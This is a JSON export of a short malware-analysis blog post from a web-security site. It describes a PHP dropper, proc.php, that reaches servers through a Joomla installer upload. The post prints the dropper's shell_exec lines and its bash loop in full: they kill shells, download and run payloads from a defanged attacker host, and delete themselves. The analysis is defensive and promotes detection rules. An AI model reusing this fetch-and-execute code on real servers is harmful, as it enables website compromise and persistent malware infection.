{"id":2668,"date":"2017-03-23T11:05:29","date_gmt":"2017-03-23T08:05:29","guid":{"rendered":"https:\/\/malware.expert\/?p=2668"},"modified":"2017-03-23T13:09:04","modified_gmt":"2017-03-23T10:09:04","slug":"proc-php","status":"publish","type":"post","link":"https:\/\/malware.expert\/malware\/proc-php\/","title":{"rendered":"proc.php"},"content":{"rendered":"<p>Again we found new malware, that trying using php shell_exec function to download and include more malware to server.<\/p>\n<h3>POST Payload<\/h3>\n<p>This looks like joomla file upload vulnerability:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n--2a2ea832-B--\r\nPOST \/administrator\/index.php?option=com_installer&amp;videw=install HTTP\/1.0\r\n<\/pre>\n<p>Payload trying upload proc.php file to server and execute it:<\/p>\n<h3>proc.php<\/h3>\n<pre class=\"brush: php; title: ; notranslate\" title=\"\">\r\n--2a2ea832-C--\r\nWordpress\r\n&lt;?php\r\nshell_exec(&quot;pkill bash 2&gt;&amp;1&quot;);\r\nshell_exec(&quot;pkill sh 2&gt;&amp;1&quot;);\r\nshell_exec(&quot;wget hxxp:\/\/recaptcha-in.pw\/bash\/p.sh 2&gt;&amp;1&quot;);\r\nshell_exec(&quot;nohup bash .\/p.sh &amp; 2&gt;&amp;1&quot;);\r\nshell_exec(&quot;rm p.sh 2&gt;&amp;1&quot;);\r\nunlink(__FILE__);\r\n?&gt;\r\n<\/pre>\n<h3>p.sh<\/h3>\n<p>It&#8217;s trying download p.sh bash script and execute it. When it executed it remove itself and also final remove also proc.php to hiding itself.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nwhile :; do wget -c hxxp:\/\/recaptcha-in.pw\/bash\/xtaccess -O p.php &amp;&gt; \/dev\/null;\r\nchmod 777 p.php &amp;&gt; \/dev\/null; php ${PWD}\/p.php &amp;&gt; \/dev\/null;\r\nwget -c hxxp:\/\/recaptcha-in.pw\/bash\/head -O h.php &amp;&gt; \/dev\/null;\r\nchmod 777 h.php &amp;&gt; \/dev\/null; php ${PWD}\/h.php &amp;&gt; \/dev\/null; sleep 3600; done\r\n<\/pre>\n<p>Again it download more malware (p.php &#038; h.php) files and executed them. These infect more php files.<\/p>\n<h2>Final words<\/h2>\n<p>If server <a href=\"https:\/\/malware.expert\/php-ini\/\">PHP disable_functions<\/a> include shell_exec function, this is harmfull. <\/p>\n<p>Websites that using Malware Expert \u2013 <a href=\"https:\/\/malware.expert\/modsecurity-rules\/\">ModSecurity rules<\/a> are protected against this attack.<\/p>\n<p>Use Malware Expert &#8211; <a href=\"https:\/\/malware.expert\/signatures\/\">Signatures<\/a> detect this malware from files for FREE!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Again we found new malware, that trying using php shell_exec function to download and include more malware to server. POST Payload This looks like joomla file upload vulnerability: &#8211;2a2ea832-B&#8211; POST \/administrator\/index.php?option=com_installer&amp;videw=install HTTP\/1.0 Payload trying upload proc.php file to server and execute it: proc.php &#8211;2a2ea832-C&#8211; Wordpress &lt;?php shell_exec(&quot;pkill bash 2&gt;&amp;1&quot;); shell_exec(&quot;pkill sh 2&gt;&amp;1&quot;); shell_exec(&quot;wget hxxp:\/\/recaptcha-in.pw\/bash\/p.sh 2&gt;&amp;1&quot;); &#8230; <a title=\"proc.php\" class=\"read-more\" href=\"https:\/\/malware.expert\/malware\/proc-php\/\" aria-label=\"Read more about proc.php\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66],"tags":[64,55,23,200],"class_list":["post-2668","post","type-post","status-publish","format-standard","hentry","category-malware","tag-bash","tag-malware","tag-php","tag-proc-php"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v25.7.1 (Yoast SEO v26.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>proc.php<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/malware.expert\/malware\/proc-php\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"proc.php\" \/>\n<meta property=\"og:description\" content=\"Again we found new malware, that trying using php shell_exec function to download and include more malware to server. POST Payload This looks like joomla file upload vulnerability: --2a2ea832-B-- POST \/administrator\/index.php?option=com_installer&amp;videw=install HTTP\/1.0 Payload trying upload proc.php file to server and execute it: proc.php --2a2ea832-C-- Wordpress &lt;?php shell_exec(&quot;pkill bash 2&gt;&amp;1&quot;); shell_exec(&quot;pkill sh 2&gt;&amp;1&quot;); shell_exec(&quot;wget hxxp:\/\/recaptcha-in.pw\/bash\/p.sh 2&gt;&amp;1&quot;); ... Read more\" \/>\n<meta property=\"og:url\" content=\"https:\/\/malware.expert\/malware\/proc-php\/\" \/>\n<meta property=\"og:site_name\" content=\"Malware Expert\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Malware.Expert\/\" \/>\n<meta property=\"article:published_time\" content=\"2017-03-23T08:05:29+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2017-03-23T10:09:04+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/malware.expert\/wp-content\/uploads\/2016\/06\/ModSecurity_feature_image.png\" \/>\n\t<meta property=\"og:image:width\" content=\"900\" \/>\n\t<meta property=\"og:image:height\" content=\"450\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@Malware__Expert\" \/>\n<meta name=\"twitter:site\" content=\"@Malware__Expert\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/malware.expert\/malware\/proc-php\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/malware.expert\/malware\/proc-php\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\/\/malware.expert\/#\/schema\/person\/1016f76dbc76823a9aba2ba8f14abfd3\"},\"headline\":\"proc.php\",\"datePublished\":\"2017-03-23T08:05:29+00:00\",\"dateModified\":\"2017-03-23T10:09:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/malware.expert\/malware\/proc-php\/\"},\"wordCount\":273,\"publisher\":{\"@id\":\"https:\/\/malware.expert\/#organization\"},\"keywords\":[\"bash\",\"malware\",\"php\",\"proc.php\"],\"articleSection\":[\"malware\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/malware.expert\/malware\/proc-php\/\",\"url\":\"https:\/\/malware.expert\/malware\/proc-php\/\",\"name\":\"proc.php\",\"isPartOf\":{\"@id\":\"https:\/\/malware.expert\/#website\"},\"datePublished\":\"2017-03-23T08:05:29+00:00\",\"dateModified\":\"2017-03-23T10:09:04+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/malware.expert\/malware\/proc-php\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/malware.expert\/malware\/proc-php\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/malware.expert\/malware\/proc-php\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/malware.expert\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"malware\",\"item\":\"https:\/\/malware.expert\/category\/malware\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"proc.php\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/malware.expert\/#website\",\"url\":\"https:\/\/malware.expert\/\",\"name\":\"Malware Expert\",\"description\":\"ModSecurity rules\",\"publisher\":{\"@id\":\"https:\/\/malware.expert\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/malware.expert\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/malware.expert\/#organization\",\"name\":\"Malware Expert\",\"url\":\"https:\/\/malware.expert\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/malware.expert\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/malware.expert\/wp-content\/uploads\/2023\/08\/cropped-malware_express_header_logo.png\",\"contentUrl\":\"https:\/\/malware.expert\/wp-content\/uploads\/2023\/08\/cropped-malware_express_header_logo.png\",\"width\":408,\"height\":82,\"caption\":\"Malware Expert\"},\"image\":{\"@id\":\"https:\/\/malware.expert\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Malware.Expert\/\",\"https:\/\/x.com\/Malware__Expert\"],\"publishingPrinciples\":\"https:\/\/malware.expert\/editorial-guidelines\/\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/malware.expert\/#\/schema\/person\/1016f76dbc76823a9aba2ba8f14abfd3\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/malware.expert\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/76c5b003c7f6492ce413d3ad91151c1d648c58e54c5b360eeb19eec3562a0393?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/76c5b003c7f6492ce413d3ad91151c1d648c58e54c5b360eeb19eec3562a0393?s=96&d=mm&r=g\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/willberg.me\"],\"url\":\"https:\/\/malware.expert\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"proc.php","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/malware.expert\/malware\/proc-php\/","og_locale":"en_US","og_type":"article","og_title":"proc.php","og_description":"Again we found new malware, that trying using php shell_exec function to download and include more malware to server. POST Payload This looks like joomla file upload vulnerability: --2a2ea832-B-- POST \/administrator\/index.php?option=com_installer&amp;videw=install HTTP\/1.0 Payload trying upload proc.php file to server and execute it: proc.php --2a2ea832-C-- Wordpress &lt;?php shell_exec(&quot;pkill bash 2&gt;&amp;1&quot;); shell_exec(&quot;pkill sh 2&gt;&amp;1&quot;); shell_exec(&quot;wget hxxp:\/\/recaptcha-in.pw\/bash\/p.sh 2&gt;&amp;1&quot;); ... Read more","og_url":"https:\/\/malware.expert\/malware\/proc-php\/","og_site_name":"Malware Expert","article_publisher":"https:\/\/www.facebook.com\/Malware.Expert\/","article_published_time":"2017-03-23T08:05:29+00:00","article_modified_time":"2017-03-23T10:09:04+00:00","og_image":[{"width":900,"height":450,"url":"https:\/\/malware.expert\/wp-content\/uploads\/2016\/06\/ModSecurity_feature_image.png","type":"image\/png"}],"author":"admin","twitter_card":"summary_large_image","twitter_creator":"@Malware__Expert","twitter_site":"@Malware__Expert","twitter_misc":{"Written by":"admin","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/malware.expert\/malware\/proc-php\/#article","isPartOf":{"@id":"https:\/\/malware.expert\/malware\/proc-php\/"},"author":{"name":"admin","@id":"https:\/\/malware.expert\/#\/schema\/person\/1016f76dbc76823a9aba2ba8f14abfd3"},"headline":"proc.php","datePublished":"2017-03-23T08:05:29+00:00","dateModified":"2017-03-23T10:09:04+00:00","mainEntityOfPage":{"@id":"https:\/\/malware.expert\/malware\/proc-php\/"},"wordCount":273,"publisher":{"@id":"https:\/\/malware.expert\/#organization"},"keywords":["bash","malware","php","proc.php"],"articleSection":["malware"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/malware.expert\/malware\/proc-php\/","url":"https:\/\/malware.expert\/malware\/proc-php\/","name":"proc.php","isPartOf":{"@id":"https:\/\/malware.expert\/#website"},"datePublished":"2017-03-23T08:05:29+00:00","dateModified":"2017-03-23T10:09:04+00:00","breadcrumb":{"@id":"https:\/\/malware.expert\/malware\/proc-php\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/malware.expert\/malware\/proc-php\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/malware.expert\/malware\/proc-php\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/malware.expert\/"},{"@type":"ListItem","position":2,"name":"malware","item":"https:\/\/malware.expert\/category\/malware\/"},{"@type":"ListItem","position":3,"name":"proc.php"}]},{"@type":"WebSite","@id":"https:\/\/malware.expert\/#website","url":"https:\/\/malware.expert\/","name":"Malware Expert","description":"ModSecurity rules","publisher":{"@id":"https:\/\/malware.expert\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/malware.expert\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/malware.expert\/#organization","name":"Malware Expert","url":"https:\/\/malware.expert\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/malware.expert\/#\/schema\/logo\/image\/","url":"https:\/\/malware.expert\/wp-content\/uploads\/2023\/08\/cropped-malware_express_header_logo.png","contentUrl":"https:\/\/malware.expert\/wp-content\/uploads\/2023\/08\/cropped-malware_express_header_logo.png","width":408,"height":82,"caption":"Malware Expert"},"image":{"@id":"https:\/\/malware.expert\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Malware.Expert\/","https:\/\/x.com\/Malware__Expert"],"publishingPrinciples":"https:\/\/malware.expert\/editorial-guidelines\/"},{"@type":"Person","@id":"https:\/\/malware.expert\/#\/schema\/person\/1016f76dbc76823a9aba2ba8f14abfd3","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/malware.expert\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/76c5b003c7f6492ce413d3ad91151c1d648c58e54c5b360eeb19eec3562a0393?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/76c5b003c7f6492ce413d3ad91151c1d648c58e54c5b360eeb19eec3562a0393?s=96&d=mm&r=g","caption":"admin"},"sameAs":["http:\/\/willberg.me"],"url":"https:\/\/malware.expert\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/posts\/2668","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/comments?post=2668"}],"version-history":[{"count":5,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/posts\/2668\/revisions"}],"predecessor-version":[{"id":2686,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/posts\/2668\/revisions\/2686"}],"wp:attachment":[{"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/media?parent=2668"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/categories?post=2668"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/malware.expert\/wp-json\/wp\/v2\/tags?post=2668"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}